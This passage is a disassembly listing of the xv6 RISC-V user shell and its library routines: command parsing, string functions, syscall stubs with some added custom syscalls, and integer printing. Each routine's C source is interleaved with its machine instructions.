8ea: ae260613 addi a2,a2,-1310 # 13c8 <malloc+0x1a6>
8ee: 85ca mv a1,s2
8f0: 8526 mv a0,s1
8f2: 00000097 auipc ra,0x0
8f6: c2c080e7 jalr -980(ra) # 51e <peek>
8fa: cd1d beqz a0,938 <parseblock+0x94>
gettoken(ps, es, 0, 0);
8fc: 4681 li a3,0
8fe: 4601 li a2,0
900: 85ca mv a1,s2
902: 8526 mv a0,s1
904: 00000097 auipc ra,0x0
908: ad8080e7 jalr -1320(ra) # 3dc <gettoken>
cmd = parseredirs(cmd, ps, es);
90c: 864a mv a2,s2
90e: 85a6 mv a1,s1
910: 854e mv a0,s3
912: 00000097 auipc ra,0x0
916: c78080e7 jalr -904(ra) # 58a <parseredirs>
}
91a: 70a2 ld ra,40(sp)
91c: 7402 ld s0,32(sp)
91e: 64e2 ld s1,24(sp)
920: 6942 ld s2,16(sp)
922: 69a2 ld s3,8(sp)
924: 6145 addi sp,sp,48
926: 8082 ret
panic("parseblock");
928: 00001517 auipc a0,0x1
92c: a9050513 addi a0,a0,-1392 # 13b8 <malloc+0x196>
930: fffff097 auipc ra,0xfffff
934: 724080e7 jalr 1828(ra) # 54 <panic>
panic("syntax - missing )");
938: 00001517 auipc a0,0x1
93c: a9850513 addi a0,a0,-1384 # 13d0 <malloc+0x1ae>
940: fffff097 auipc ra,0xfffff
944: 714080e7 jalr 1812(ra) # 54 <panic>
0000000000000948 <nulterminate>:
// NUL-terminate all the counted strings.
struct cmd*
nulterminate(struct cmd *cmd)
{
948: 1101 addi sp,sp,-32
94a: ec06 sd ra,24(sp)
94c: e822 sd s0,16(sp)
94e: e426 sd s1,8(sp)
950: 1000 addi s0,sp,32
952: 84aa mv s1,a0
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
954: c521 beqz a0,99c <nulterminate+0x54>
return 0;
switch(cmd->type){
956: 4118 lw a4,0(a0)
958: 4795 li a5,5
95a: 04e7e163 bltu a5,a4,99c <nulterminate+0x54>
95e: 00056783 lwu a5,0(a0)
962: 078a slli a5,a5,0x2
964: 00001717 auipc a4,0x1
968: acc70713 addi a4,a4,-1332 # 1430 <malloc+0x20e>
96c: 97ba add a5,a5,a4
96e: 439c lw a5,0(a5)
970: 97ba add a5,a5,a4
972: 8782 jr a5
case EXEC:
ecmd = (struct execcmd*)cmd;
for(i=0; ecmd->argv[i]; i++)
974: 651c ld a5,8(a0)
976: c39d beqz a5,99c <nulterminate+0x54>
978: 01050793 addi a5,a0,16
*ecmd->eargv[i] = 0;
97c: 67b8 ld a4,72(a5)
97e: 00070023 sb zero,0(a4)
for(i=0; ecmd->argv[i]; i++)
982: 07a1 addi a5,a5,8
984: ff87b703 ld a4,-8(a5)
988: fb75 bnez a4,97c <nulterminate+0x34>
98a: a809 j 99c <nulterminate+0x54>
break;
case REDIR:
rcmd = (struct redircmd*)cmd;
nulterminate(rcmd->cmd);
98c: 6508 ld a0,8(a0)
98e: 00000097 auipc ra,0x0
992: fba080e7 jalr -70(ra) # 948 <nulterminate>
*rcmd->efile = 0;
996: 6c9c ld a5,24(s1)
998: 00078023 sb zero,0(a5)
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
break;
}
return cmd;
}
99c: 8526 mv a0,s1
99e: 60e2 ld ra,24(sp)
9a0: 6442 ld s0,16(sp)
9a2: 64a2 ld s1,8(sp)
9a4: 6105 addi sp,sp,32
9a6: 8082 ret
nulterminate(pcmd->left);
9a8: 6508 ld a0,8(a0)
9aa: 00000097 auipc ra,0x0
9ae: f9e080e7 jalr -98(ra) # 948 <nulterminate>
nulterminate(pcmd->right);
9b2: 6888 ld a0,16(s1)
9b4: 00000097 auipc ra,0x0
9b8: f94080e7 jalr -108(ra) # 948 <nulterminate>
break;
9bc: b7c5 j 99c <nulterminate+0x54>
nulterminate(lcmd->left);
9be: 6508 ld a0,8(a0)
9c0: 00000097 auipc ra,0x0
9c4: f88080e7 jalr -120(ra) # 948 <nulterminate>
nulterminate(lcmd->right);
9c8: 6888 ld a0,16(s1)
9ca: 00000097 auipc ra,0x0
9ce: f7e080e7 jalr -130(ra) # 948 <nulterminate>
break;
9d2: b7e9 j 99c <nulterminate+0x54>
nulterminate(bcmd->cmd);
9d4: 6508 ld a0,8(a0)
9d6: 00000097 auipc ra,0x0
9da: f72080e7 jalr -142(ra) # 948 <nulterminate>
break;
9de: bf7d j 99c <nulterminate+0x54>
00000000000009e0 <parsecmd>:
{
9e0: 7179 addi sp,sp,-48
9e2: f406 sd ra,40(sp)
9e4: f022 sd s0,32(sp)
9e6: ec26 sd s1,24(sp)
9e8: e84a sd s2,16(sp)
9ea: 1800 addi s0,sp,48
9ec: fca43c23 sd a0,-40(s0)
es = s + strlen(s);
9f0: 84aa mv s1,a0
9f2: 00000097 auipc ra,0x0
9f6: 1b2080e7 jalr 434(ra) # ba4 <strlen>
9fa: 1502 slli a0,a0,0x20
9fc: 9101 srli a0,a0,0x20
9fe: 94aa add s1,s1,a0
cmd = parseline(&s, es);
a00: 85a6 mv a1,s1
a02: fd840513 addi a0,s0,-40
a06: 00000097 auipc ra,0x0
a0a: df6080e7 jalr -522(ra) # 7fc <parseline>
a0e: 892a mv s2,a0
peek(&s, es, "");
a10: 00001617 auipc a2,0x1
a14: 9d860613 addi a2,a2,-1576 # 13e8 <malloc+0x1c6>
a18: 85a6 mv a1,s1
a1a: fd840513 addi a0,s0,-40
a1e: 00000097 auipc ra,0x0
a22: b00080e7 jalr -1280(ra) # 51e <peek>
if(s != es){
a26: fd843603 ld a2,-40(s0)
a2a: 00961e63 bne a2,s1,a46 <parsecmd+0x66>
nulterminate(cmd);
a2e: 854a mv a0,s2
a30: 00000097 auipc ra,0x0
a34: f18080e7 jalr -232(ra) # 948 <nulterminate>
}
a38: 854a mv a0,s2
a3a: 70a2 ld ra,40(sp)
a3c: 7402 ld s0,32(sp)
a3e: 64e2 ld s1,24(sp)
a40: 6942 ld s2,16(sp)
a42: 6145 addi sp,sp,48
a44: 8082 ret
fprintf(2, "leftovers: %s\n", s);
a46: 00001597 auipc a1,0x1
a4a: 9aa58593 addi a1,a1,-1622 # 13f0 <malloc+0x1ce>
a4e: 4509 li a0,2
a50: 00000097 auipc ra,0x0
a54: 6ec080e7 jalr 1772(ra) # 113c <fprintf>
panic("syntax");
a58: 00001517 auipc a0,0x1
a5c: 92850513 addi a0,a0,-1752 # 1380 <malloc+0x15e>
a60: fffff097 auipc ra,0xfffff
a64: 5f4080e7 jalr 1524(ra) # 54 <panic>
0000000000000a68 <main>:
{
a68: 7139 addi sp,sp,-64
a6a: fc06 sd ra,56(sp)
a6c: f822 sd s0,48(sp)
a6e: f426 sd s1,40(sp)
a70: f04a sd s2,32(sp)
a72: ec4e sd s3,24(sp)
a74: e852 sd s4,16(sp)
a76: e456 sd s5,8(sp)
a78: 0080 addi s0,sp,64
while((fd = open("console", O_RDWR)) >= 0){
a7a: 00001497 auipc s1,0x1
a7e: 98648493 addi s1,s1,-1658 # 1400 <malloc+0x1de>
a82: 4589 li a1,2
a84: 8526 mv a0,s1
a86: 00000097 auipc ra,0x0
a8a: 382080e7 jalr 898(ra) # e08 <open>
a8e: 00054963 bltz a0,aa0 <main+0x38>
if(fd >= 3){
a92: 4789 li a5,2
a94: fea7d7e3 bge a5,a0,a82 <main+0x1a>
close(fd);
a98: 00000097 auipc ra,0x0
a9c: 358080e7 jalr 856(ra) # df0 <close>
while(getcmd(buf, sizeof(buf)) >= 0){
aa0: 00001497 auipc s1,0x1
aa4: a3848493 addi s1,s1,-1480 # 14d8 <buf.0>
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
aa8: 06300913 li s2,99
aac: 02000993 li s3,32
if(chdir(buf+3) < 0)
ab0: 00001a17 auipc s4,0x1
ab4: a2ba0a13 addi s4,s4,-1493 # 14db <buf.0+0x3>
fprintf(2, "cannot cd %s\n", buf+3);
ab8: 00001a97 auipc s5,0x1
abc: 950a8a93 addi s5,s5,-1712 # 1408 <malloc+0x1e6>
ac0: a819 j ad6 <main+0x6e>
if(fork1() == 0)
ac2: fffff097 auipc ra,0xfffff
ac6: 5b8080e7 jalr 1464(ra) # 7a <fork1>
aca: c925 beqz a0,b3a <main+0xd2>
wait(0);
acc: 4501 li a0,0
ace: 00000097 auipc ra,0x0
ad2: 302080e7 jalr 770(ra) # dd0 <wait>
while(getcmd(buf, sizeof(buf)) >= 0){
ad6: 06400593 li a1,100
ada: 8526 mv a0,s1
adc: fffff097 auipc ra,0xfffff
ae0: 524080e7 jalr 1316(ra) # 0 <getcmd>
ae4: 06054763 bltz a0,b52 <main+0xea>
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
ae8: 0004c783 lbu a5,0(s1)
aec: fd279be3 bne a5,s2,ac2 <main+0x5a>
af0: 0014c703 lbu a4,1(s1)
af4: 06400793 li a5,100
af8: fcf715e3 bne a4,a5,ac2 <main+0x5a>
afc: 0024c783 lbu a5,2(s1)
b00: fd3791e3 bne a5,s3,ac2 <main+0x5a>
buf[strlen(buf)-1] = 0; // chop \n
b04: 8526 mv a0,s1
b06: 00000097 auipc ra,0x0
b0a: 09e080e7 jalr 158(ra) # ba4 <strlen>
b0e: fff5079b addiw a5,a0,-1
b12: 1782 slli a5,a5,0x20
b14: 9381 srli a5,a5,0x20
b16: 97a6 add a5,a5,s1
b18: 00078023 sb zero,0(a5)
if(chdir(buf+3) < 0)
b1c: 8552 mv a0,s4
b1e: 00000097 auipc ra,0x0
b22: 31a080e7 jalr 794(ra) # e38 <chdir>
b26: fa0558e3 bgez a0,ad6 <main+0x6e>
fprintf(2, "cannot cd %s\n", buf+3);
b2a: 8652 mv a2,s4
b2c: 85d6 mv a1,s5
b2e: 4509 li a0,2
b30: 00000097 auipc ra,0x0
b34: 60c080e7 jalr 1548(ra) # 113c <fprintf>
b38: bf79 j ad6 <main+0x6e>
runcmd(parsecmd(buf));
b3a: 00001517 auipc a0,0x1
b3e: 99e50513 addi a0,a0,-1634 # 14d8 <buf.0>
b42: 00000097 auipc ra,0x0
b46: e9e080e7 jalr -354(ra) # 9e0 <parsecmd>
b4a: fffff097 auipc ra,0xfffff
b4e: 55e080e7 jalr 1374(ra) # a8 <runcmd>
exit(0);
b52: 4501 li a0,0
b54: 00000097 auipc ra,0x0
b58: 274080e7 jalr 628(ra) # dc8 <exit>
0000000000000b5c <strcpy>:
#include "kernel/fcntl.h"
#include "user/user.h"
char*
strcpy(char *s, const char *t)
{
b5c: 1141 addi sp,sp,-16
b5e: e422 sd s0,8(sp)
b60: 0800 addi s0,sp,16
char *os;
os = s;
while((*s++ = *t++) != 0)
b62: 87aa mv a5,a0
b64: 0585 addi a1,a1,1
b66: 0785 addi a5,a5,1
b68: fff5c703 lbu a4,-1(a1)
b6c: fee78fa3 sb a4,-1(a5)
b70: fb75 bnez a4,b64 <strcpy+0x8>
;
return os;
}
b72: 6422 ld s0,8(sp)
b74: 0141 addi sp,sp,16
b76: 8082 ret
0000000000000b78 <strcmp>:
int
strcmp(const char *p, const char *q)
{
b78: 1141 addi sp,sp,-16
b7a: e422 sd s0,8(sp)
b7c: 0800 addi s0,sp,16
while(*p && *p == *q)
b7e: 00054783 lbu a5,0(a0)
b82: cb91 beqz a5,b96 <strcmp+0x1e>
b84: 0005c703 lbu a4,0(a1)
b88: 00f71763 bne a4,a5,b96 <strcmp+0x1e>
p++, q++;
b8c: 0505 addi a0,a0,1
b8e: 0585 addi a1,a1,1
while(*p && *p == *q)
b90: 00054783 lbu a5,0(a0)
b94: fbe5 bnez a5,b84 <strcmp+0xc>
return (uchar)*p - (uchar)*q;
b96: 0005c503 lbu a0,0(a1)
}
b9a: 40a7853b subw a0,a5,a0
b9e: 6422 ld s0,8(sp)
ba0: 0141 addi sp,sp,16
ba2: 8082 ret
0000000000000ba4 <strlen>:
uint
strlen(const char *s)
{
ba4: 1141 addi sp,sp,-16
ba6: e422 sd s0,8(sp)
ba8: 0800 addi s0,sp,16
int n;
for(n = 0; s[n]; n++)
baa: 00054783 lbu a5,0(a0)
bae: cf91 beqz a5,bca <strlen+0x26>
bb0: 0505 addi a0,a0,1
bb2: 87aa mv a5,a0
bb4: 4685 li a3,1
bb6: 9e89 subw a3,a3,a0
bb8: 00f6853b addw a0,a3,a5
bbc: 0785 addi a5,a5,1
bbe: fff7c703 lbu a4,-1(a5)
bc2: fb7d bnez a4,bb8 <strlen+0x14>
;
return n;
}
bc4: 6422 ld s0,8(sp)
bc6: 0141 addi sp,sp,16
bc8: 8082 ret
for(n = 0; s[n]; n++)
bca: 4501 li a0,0
bcc: bfe5 j bc4 <strlen+0x20>
0000000000000bce <memset>:
void*
memset(void *dst, int c, uint n)
{
bce: 1141 addi sp,sp,-16
bd0: e422 sd s0,8(sp)
bd2: 0800 addi s0,sp,16
char *cdst = (char *) dst;
int i;
for(i = 0; i < n; i++){
bd4: ca19 beqz a2,bea <memset+0x1c>
bd6: 87aa mv a5,a0
bd8: 1602 slli a2,a2,0x20
bda: 9201 srli a2,a2,0x20
bdc: 00a60733 add a4,a2,a0
cdst[i] = c;
be0: 00b78023 sb a1,0(a5)
for(i = 0; i < n; i++){
be4: 0785 addi a5,a5,1
be6: fee79de3 bne a5,a4,be0 <memset+0x12>
}
return dst;
}
bea: 6422 ld s0,8(sp)
bec: 0141 addi sp,sp,16
bee: 8082 ret
0000000000000bf0 <strchr>:
char*
strchr(const char *s, char c)
{
bf0: 1141 addi sp,sp,-16
bf2: e422 sd s0,8(sp)
bf4: 0800 addi s0,sp,16
for(; *s; s++)
bf6: 00054783 lbu a5,0(a0)
bfa: cb99 beqz a5,c10 <strchr+0x20>
if(*s == c)
bfc: 00f58763 beq a1,a5,c0a <strchr+0x1a>
for(; *s; s++)
c00: 0505 addi a0,a0,1
c02: 00054783 lbu a5,0(a0)
c06: fbfd bnez a5,bfc <strchr+0xc>
return (char*)s;
return 0;
c08: 4501 li a0,0
}
c0a: 6422 ld s0,8(sp)
c0c: 0141 addi sp,sp,16
c0e: 8082 ret
return 0;
c10: 4501 li a0,0
c12: bfe5 j c0a <strchr+0x1a>
0000000000000c14 <gets>:
char*
gets(char *buf, int max)
{
c14: 711d addi sp,sp,-96
c16: ec86 sd ra,88(sp)
c18: e8a2 sd s0,80(sp)
c1a: e4a6 sd s1,72(sp)
c1c: e0ca sd s2,64(sp)
c1e: fc4e sd s3,56(sp)
c20: f852 sd s4,48(sp)
c22: f456 sd s5,40(sp)
c24: f05a sd s6,32(sp)
c26: ec5e sd s7,24(sp)
c28: 1080 addi s0,sp,96
c2a: 8baa mv s7,a0
c2c: 8a2e mv s4,a1
int i, cc;
char c;
for(i=0; i+1 < max; ){
c2e: 892a mv s2,a0
c30: 4481 li s1,0
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
c32: 4aa9 li s5,10
c34: 4b35 li s6,13
for(i=0; i+1 < max; ){
c36: 89a6 mv s3,s1
c38: 2485 addiw s1,s1,1
c3a: 0344d863 bge s1,s4,c6a <gets+0x56>
cc = read(0, &c, 1);
c3e: 4605 li a2,1
c40: faf40593 addi a1,s0,-81
c44: 4501 li a0,0
c46: 00000097 auipc ra,0x0
c4a: 19a080e7 jalr 410(ra) # de0 <read>
if(cc < 1)
c4e: 00a05e63 blez a0,c6a <gets+0x56>
buf[i++] = c;
c52: faf44783 lbu a5,-81(s0)
c56: 00f90023 sb a5,0(s2)
if(c == '\n' || c == '\r')
c5a: 01578763 beq a5,s5,c68 <gets+0x54>
c5e: 0905 addi s2,s2,1
c60: fd679be3 bne a5,s6,c36 <gets+0x22>
for(i=0; i+1 < max; ){
c64: 89a6 mv s3,s1
c66: a011 j c6a <gets+0x56>
c68: 89a6 mv s3,s1
break;
}
buf[i] = '\0';
c6a: 99de add s3,s3,s7
c6c: 00098023 sb zero,0(s3)
return buf;
}
c70: 855e mv a0,s7
c72: 60e6 ld ra,88(sp)
c74: 6446 ld s0,80(sp)
c76: 64a6 ld s1,72(sp)
c78: 6906 ld s2,64(sp)
c7a: 79e2 ld s3,56(sp)
c7c: 7a42 ld s4,48(sp)
c7e: 7aa2 ld s5,40(sp)
c80: 7b02 ld s6,32(sp)
c82: 6be2 ld s7,24(sp)
c84: 6125 addi sp,sp,96
c86: 8082 ret
0000000000000c88 <stat>:
int
stat(const char *n, struct stat *st)
{
c88: 1101 addi sp,sp,-32
c8a: ec06 sd ra,24(sp)
c8c: e822 sd s0,16(sp)
c8e: e426 sd s1,8(sp)
c90: e04a sd s2,0(sp)
c92: 1000 addi s0,sp,32
c94: 892e mv s2,a1
int fd;
int r;
fd = open(n, O_RDONLY);
c96: 4581 li a1,0
c98: 00000097 auipc ra,0x0
c9c: 170080e7 jalr 368(ra) # e08 <open>
if(fd < 0)
ca0: 02054563 bltz a0,cca <stat+0x42>
ca4: 84aa mv s1,a0
return -1;
r = fstat(fd, st);
ca6: 85ca mv a1,s2
ca8: 00000097 auipc ra,0x0
cac: 178080e7 jalr 376(ra) # e20 <fstat>
cb0: 892a mv s2,a0
close(fd);
cb2: 8526 mv a0,s1
cb4: 00000097 auipc ra,0x0
cb8: 13c080e7 jalr 316(ra) # df0 <close>
return r;
}
cbc: 854a mv a0,s2
cbe: 60e2 ld ra,24(sp)
cc0: 6442 ld s0,16(sp)
cc2: 64a2 ld s1,8(sp)
cc4: 6902 ld s2,0(sp)
cc6: 6105 addi sp,sp,32
cc8: 8082 ret
return -1;
cca: 597d li s2,-1
ccc: bfc5 j cbc <stat+0x34>
0000000000000cce <atoi>:
int
atoi(const char *s)
{
cce: 1141 addi sp,sp,-16
cd0: e422 sd s0,8(sp)
cd2: 0800 addi s0,sp,16
int n;
n = 0;
while('0' <= *s && *s <= '9')
cd4: 00054683 lbu a3,0(a0)
cd8: fd06879b addiw a5,a3,-48
cdc: 0ff7f793 zext.b a5,a5
ce0: 4625 li a2,9
ce2: 02f66863 bltu a2,a5,d12 <atoi+0x44>
ce6: 872a mv a4,a0
n = 0;
ce8: 4501 li a0,0
n = n*10 + *s++ - '0';
cea: 0705 addi a4,a4,1
cec: 0025179b slliw a5,a0,0x2
cf0: 9fa9 addw a5,a5,a0
cf2: 0017979b slliw a5,a5,0x1
cf6: 9fb5 addw a5,a5,a3
cf8: fd07851b addiw a0,a5,-48
while('0' <= *s && *s <= '9')
cfc: 00074683 lbu a3,0(a4)
d00: fd06879b addiw a5,a3,-48
d04: 0ff7f793 zext.b a5,a5
d08: fef671e3 bgeu a2,a5,cea <atoi+0x1c>
return n;
}
d0c: 6422 ld s0,8(sp)
d0e: 0141 addi sp,sp,16
d10: 8082 ret
n = 0;
d12: 4501 li a0,0
d14: bfe5 j d0c <atoi+0x3e>
0000000000000d16 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
d16: 1141 addi sp,sp,-16
d18: e422 sd s0,8(sp)
d1a: 0800 addi s0,sp,16
char *dst;
const char *src;
dst = vdst;
src = vsrc;
if (src > dst) {
d1c: 02b57463 bgeu a0,a1,d44 <memmove+0x2e>
while(n-- > 0)
d20: 00c05f63 blez a2,d3e <memmove+0x28>
d24: 1602 slli a2,a2,0x20
d26: 9201 srli a2,a2,0x20
d28: 00c507b3 add a5,a0,a2
dst = vdst;
d2c: 872a mv a4,a0
*dst++ = *src++;
d2e: 0585 addi a1,a1,1
d30: 0705 addi a4,a4,1
d32: fff5c683 lbu a3,-1(a1)
d36: fed70fa3 sb a3,-1(a4)
while(n-- > 0)
d3a: fee79ae3 bne a5,a4,d2e <memmove+0x18>
src += n;
while(n-- > 0)
*--dst = *--src;
}
return vdst;
}
d3e: 6422 ld s0,8(sp)
d40: 0141 addi sp,sp,16
d42: 8082 ret
dst += n;
d44: 00c50733 add a4,a0,a2
src += n;
d48: 95b2 add a1,a1,a2
while(n-- > 0)
d4a: fec05ae3 blez a2,d3e <memmove+0x28>
d4e: fff6079b addiw a5,a2,-1
d52: 1782 slli a5,a5,0x20
d54: 9381 srli a5,a5,0x20
d56: fff7c793 not a5,a5
d5a: 97ba add a5,a5,a4
*--dst = *--src;
d5c: 15fd addi a1,a1,-1
d5e: 177d addi a4,a4,-1
d60: 0005c683 lbu a3,0(a1)
d64: 00d70023 sb a3,0(a4)
while(n-- > 0)
d68: fee79ae3 bne a5,a4,d5c <memmove+0x46>
d6c: bfc9 j d3e <memmove+0x28>
0000000000000d6e <memcmp>:
int
memcmp(const void *s1, const void *s2, uint n)
{
d6e: 1141 addi sp,sp,-16
d70: e422 sd s0,8(sp)
d72: 0800 addi s0,sp,16
const char *p1 = s1, *p2 = s2;
while (n-- > 0) {
d74: ca05 beqz a2,da4 <memcmp+0x36>
d76: fff6069b addiw a3,a2,-1
d7a: 1682 slli a3,a3,0x20
d7c: 9281 srli a3,a3,0x20
d7e: 0685 addi a3,a3,1
d80: 96aa add a3,a3,a0
if (*p1 != *p2) {
d82: 00054783 lbu a5,0(a0)
d86: 0005c703 lbu a4,0(a1)
d8a: 00e79863 bne a5,a4,d9a <memcmp+0x2c>
return *p1 - *p2;
}
p1++;
d8e: 0505 addi a0,a0,1
p2++;
d90: 0585 addi a1,a1,1
while (n-- > 0) {
d92: fed518e3 bne a0,a3,d82 <memcmp+0x14>
}
return 0;
d96: 4501 li a0,0
d98: a019 j d9e <memcmp+0x30>
return *p1 - *p2;
d9a: 40e7853b subw a0,a5,a4
}
d9e: 6422 ld s0,8(sp)
da0: 0141 addi sp,sp,16
da2: 8082 ret
return 0;
da4: 4501 li a0,0
da6: bfe5 j d9e <memcmp+0x30>
0000000000000da8 <memcpy>:
void *
memcpy(void *dst, const void *src, uint n)
{
da8: 1141 addi sp,sp,-16
daa: e406 sd ra,8(sp)
dac: e022 sd s0,0(sp)
dae: 0800 addi s0,sp,16
return memmove(dst, src, n);
db0: 00000097 auipc ra,0x0
db4: f66080e7 jalr -154(ra) # d16 <memmove>
}
db8: 60a2 ld ra,8(sp)
dba: 6402 ld s0,0(sp)
dbc: 0141 addi sp,sp,16
dbe: 8082 ret
0000000000000dc0 <fork>:
# generated by usys.pl - do not edit
#include "kernel/syscall.h"
.global fork
fork:
li a7, SYS_fork
dc0: 4885 li a7,1
ecall
dc2: 00000073 ecall
ret
dc6: 8082 ret
0000000000000dc8 <exit>:
.global exit
exit:
li a7, SYS_exit
dc8: 4889 li a7,2
ecall
dca: 00000073 ecall
ret
dce: 8082 ret
0000000000000dd0 <wait>:
.global wait
wait:
li a7, SYS_wait
dd0: 488d li a7,3
ecall
dd2: 00000073 ecall
ret
dd6: 8082 ret
0000000000000dd8 <pipe>:
.global pipe
pipe:
li a7, SYS_pipe
dd8: 4891 li a7,4
ecall
dda: 00000073 ecall
ret
dde: 8082 ret
0000000000000de0 <read>:
.global read
read:
li a7, SYS_read
de0: 4895 li a7,5
ecall
de2: 00000073 ecall
ret
de6: 8082 ret
0000000000000de8 <write>:
.global write
write:
li a7, SYS_write
de8: 48c1 li a7,16
ecall
dea: 00000073 ecall
ret
dee: 8082 ret
0000000000000df0 <close>:
.global close
close:
li a7, SYS_close
df0: 48d5 li a7,21
ecall
df2: 00000073 ecall
ret
df6: 8082 ret
0000000000000df8 <kill>:
.global kill
kill:
li a7, SYS_kill
df8: 4899 li a7,6
ecall
dfa: 00000073 ecall
ret
dfe: 8082 ret
0000000000000e00 <exec>:
.global exec
exec:
li a7, SYS_exec
e00: 489d li a7,7
ecall
e02: 00000073 ecall
ret
e06: 8082 ret
0000000000000e08 <open>:
.global open
open:
li a7, SYS_open
e08: 48bd li a7,15
ecall
e0a: 00000073 ecall
ret
e0e: 8082 ret
0000000000000e10 <mknod>:
.global mknod
mknod:
li a7, SYS_mknod
e10: 48c5 li a7,17
ecall
e12: 00000073 ecall
ret
e16: 8082 ret
0000000000000e18 <unlink>:
.global unlink
unlink:
li a7, SYS_unlink
e18: 48c9 li a7,18
ecall
e1a: 00000073 ecall
ret
e1e: 8082 ret
0000000000000e20 <fstat>:
.global fstat
fstat:
li a7, SYS_fstat
e20: 48a1 li a7,8
ecall
e22: 00000073 ecall
ret
e26: 8082 ret
0000000000000e28 <link>:
.global link
link:
li a7, SYS_link
e28: 48cd li a7,19
ecall
e2a: 00000073 ecall
ret
e2e: 8082 ret
0000000000000e30 <mkdir>:
.global mkdir
mkdir:
li a7, SYS_mkdir
e30: 48d1 li a7,20
ecall
e32: 00000073 ecall
ret
e36: 8082 ret
0000000000000e38 <chdir>:
.global chdir
chdir:
li a7, SYS_chdir
e38: 48a5 li a7,9
ecall
e3a: 00000073 ecall
ret
e3e: 8082 ret
0000000000000e40 <dup>:
.global dup
dup:
li a7, SYS_dup
e40: 48a9 li a7,10
ecall
e42: 00000073 ecall
ret
e46: 8082 ret
0000000000000e48 <getpid>:
.global getpid
getpid:
li a7, SYS_getpid
e48: 48ad li a7,11
ecall
e4a: 00000073 ecall
ret
e4e: 8082 ret
0000000000000e50 <sbrk>:
.global sbrk
sbrk:
li a7, SYS_sbrk
e50: 48b1 li a7,12
ecall
e52: 00000073 ecall
ret
e56: 8082 ret
0000000000000e58 <sleep>:
.global sleep
sleep:
li a7, SYS_sleep
e58: 48b5 li a7,13
ecall
e5a: 00000073 ecall
ret
e5e: 8082 ret
0000000000000e60 <uptime>:
.global uptime
uptime:
li a7, SYS_uptime
e60: 48b9 li a7,14
ecall
e62: 00000073 ecall
ret
e66: 8082 ret
0000000000000e68 <waitstat>:
.global waitstat
waitstat:
li a7, SYS_waitstat
e68: 48d9 li a7,22
ecall
e6a: 00000073 ecall
ret
e6e: 8082 ret
0000000000000e70 <btput>:
.global btput
btput:
li a7, SYS_btput
e70: 48dd li a7,23
ecall
e72: 00000073 ecall
ret
e76: 8082 ret
0000000000000e78 <tput>:
.global tput
tput:
li a7, SYS_tput
e78: 48e1 li a7,24
ecall
e7a: 00000073 ecall
ret
e7e: 8082 ret
0000000000000e80 <btget>:
.global btget
btget:
li a7, SYS_btget
e80: 48e5 li a7,25
ecall
e82: 00000073 ecall
ret
e86: 8082 ret
0000000000000e88 <tget>:
.global tget
tget:
li a7, SYS_tget
e88: 48e9 li a7,26
ecall
e8a: 00000073 ecall
ret
e8e: 8082 ret
0000000000000e90 <putc>:
static char digits[] = "0123456789ABCDEF";
static void
putc(int fd, char c)
{
e90: 1101 addi sp,sp,-32
e92: ec06 sd ra,24(sp)
e94: e822 sd s0,16(sp)
e96: 1000 addi s0,sp,32
e98: feb407a3 sb a1,-17(s0)
write(fd, &c, 1);
e9c: 4605 li a2,1
e9e: fef40593 addi a1,s0,-17
ea2: 00000097 auipc ra,0x0
ea6: f46080e7 jalr -186(ra) # de8 <write>
}
eaa: 60e2 ld ra,24(sp)
eac: 6442 ld s0,16(sp)
eae: 6105 addi sp,sp,32
eb0: 8082 ret
0000000000000eb2 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
eb2: 7139 addi sp,sp,-64
eb4: fc06 sd ra,56(sp)
eb6: f822 sd s0,48(sp)
eb8: f426 sd s1,40(sp)
eba: f04a sd s2,32(sp)
ebc: ec4e sd s3,24(sp)
ebe: 0080 addi s0,sp,64
ec0: 84aa mv s1,a0
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
ec2: c299 beqz a3,ec8 <printint+0x16>
ec4: 0805c963 bltz a1,f56 <printint+0xa4>
neg = 1;
x = -xx;
} else {
x = xx;
ec8: 2581 sext.w a1,a1
neg = 0;
eca: 4881 li a7,0
ecc: fc040693 addi a3,s0,-64
}
i = 0;
ed0: 4701 li a4,0
do{
buf[i++] = digits[x % base];
ed2: 2601 sext.w a2,a2
ed4: 00000517 auipc a0,0x0
ed8: 5d450513 addi a0,a0,1492 # 14a8 <digits>
edc: 883a mv a6,a4
ede: 2705 addiw a4,a4,1
ee0: 02c5f7bb remuw a5,a1,a2
ee4: 1782 slli a5,a5,0x20
ee6: 9381 srli a5,a5,0x20
ee8: 97aa add a5,a5,a0
eea: 0007c783 lbu a5,0(a5)
eee: 00f68023 sb a5,0(a3)
}while((x /= base) != 0);
ef2: 0005879b sext.w a5,a1
ef6: 02c5d5bb divuw a1,a1,a2
efa: 0685 addi a3,a3,1
efc: fec7f0e3 bgeu a5,a2,edc <printint+0x2a>
if(neg)
f00: 00088c63 beqz a7,f18 <printint+0x66>
buf[i++] = '-';
f04: fd070793 addi a5,a4,-48
f08: 00878733 add a4,a5,s0
f0c: 02d00793 li a5,45
f10: fef70823 sb a5,-16(a4)
f14: 0028071b addiw a4,a6,2
while(--i >= 0)
f18: 02e05863 blez a4,f48 <printint+0x96>
f1c: fc040793 addi a5,s0,-64
f20: 00e78933 add s2,a5,a4
f24: fff78993 addi s3,a5,-1
f28: 99ba add s3,s3,a4
f2a: 377d addiw a4,a4,-1
f2c: 1702 slli a4,a4,0x20
f2e: 9301 srli a4,a4,0x20
f30: 40e989b3 sub s3,s3,a4
putc(fd, buf[i]);
f34: fff94583 lbu a1,-1(s2)
f38: 8526 mv a0,s1
f3a: 00000097 auipc ra,0x0
f3e: f56080e7 jalr -170(ra) # e90 <putc>
while(--i >= 0)
f42: 197d addi s2,s2,-1
f44: ff3918e3 bne s2,s3,f34 <printint+0x82>
}
f48: 70e2 ld ra,56(sp)
f4a: 7442 ld s0,48(sp)
f4c: 74a2 ld s1,40(sp)
f4e: 7902 ld s2,32(sp)
f50: 69e2 ld s3,24(sp)
f52: 6121 addi sp,sp,64
f54: 8082 ret
x = -xx;
f56: 40b005bb negw a1,a1
neg = 1;
f5a: 4885 li a7,1
x = -xx;
f5c: bf85 j ecc <printint+0x1a>
0000000000000f5e <vprintf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
